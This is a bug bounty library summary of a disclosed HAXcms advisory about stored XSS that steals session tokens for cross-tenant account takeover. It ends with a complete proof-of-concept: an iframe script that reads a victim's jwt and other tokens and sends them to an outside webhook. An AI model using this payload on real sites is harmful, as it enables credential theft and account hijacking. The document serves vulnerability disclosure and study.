# HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack

Stored XSS in HAXcms lets an attacker fetch /system/api/connectionSettings for a target user and exfiltrate jwt/user_token/site_token/appstore_token, achieving cross-tenant account takeover.

- Payout: Research
- Severity: high
- Program: HAXcms
- Found by: trigerman
- Disclosed: 2026-05-19
- CVE: CVE-2026-46511
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-x3x5-7h4h-gwxg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-x3x5-7h4h-gwxg
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:php technique:chained technique:source-review vuln:account-takeover vuln:secrets-leak vuln:xss

**Target:** /system/api/connectionSettings endpoint and window.appSettings bootstrap object in haxcms-nodejs
**Root cause:** connectionSettings() serializes all active-session tokens (jwt, user_token, site_token, appstore_token) into a global window.appSettings JS object served per PHPSESSID, so any script in the page context can read them; combined with stored XSS the tokens are exfiltratable.
**Steps:**
1. Authenticate as an attacker with edit access to any site.
2. Inject stored XSS via an `<iframe srcdoc="<script>...">` (or `<video-player>`) into page HTML source.
3. Payload runs `fetch('/<targetUsername>/system/api/connectionSettings')`; browser attaches victim PHPSESSID.
4. Parse response JSON, extract `s.jwt`, `user_token` from `getUserDataPath`, `site_token` from `saveNodePath`, `appstore_token` from `s.appStore.params`.
5. Base64-encode and exfiltrate via `new Image().src = 'https://webhook.site/...?data='+payload`.
6. Replay stolen jwt/user_token to impersonate victim and perform admin actions.
**How found:** Reporter noticed connectionSettings() in Operations.php returns a JS bootstrap object aggregating all session tokens into window.appSettings, then reasoned that any in-page script (via known stored XSS vectors) could read it and that the endpoint is keyed only on PHPSESSID, enabling cross-tenant fetches.
**Exploitation:** Attacker with edit rights plants stored XSS on a page a victim visits. Victim's browser silently fetches their own connectionSettings (session cookie auto-attached), the script extracts jwt and tokens, base64-encodes them, and beacons them to an attacker webhook via an Image request to bypass CORS. Attacker then replays the JWT to act as the victim across tenants.
**Escalation:** Cross-tenant: attacker can target any username path, not just their own, so one XSS yields tokens for arbitrary victim accounts and full admin takeover (create/delete sites, modify access, upload content).
**Insight:** Bootstrap endpoints that serialize session secrets into a global JS object are a token-theft chokepoint: any XSS becomes full ATO. Check `/system/api/*Settings`-style endpoints for per-session token aggregation and whether they authorize by cookie alone, allowing cross-tenant fetch by path.

## Proof of concept (copied exactly from the original report)

**XSS iframe srcdoc token exfiltration payload**

```
<iframe srcdoc="<script>
    const targetUsername = 'bto108'; // Replace with target victim

    fetch(`/${targetUsername}/system/api/connectionSettings`)
      .then(res => res.text())
      .then(data => {
          const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1));
          
          const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token');
          const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token');
          
          let aToken = 'N/A';
          if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) {
              aToken = s.appStore.params.appstore_token;
          }

          // Exfiltrate via Image Request to bypass CORS
          const payload = btoa(JSON.stringify({
              target: targetUsername, 
              jwt: s.jwt, 
              user_token: uToken, 
              site_token: sToken, 
              appstore_token: aToken
          }));
          
          new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`;
      });
</script>" style="display:none"></iframe>
```

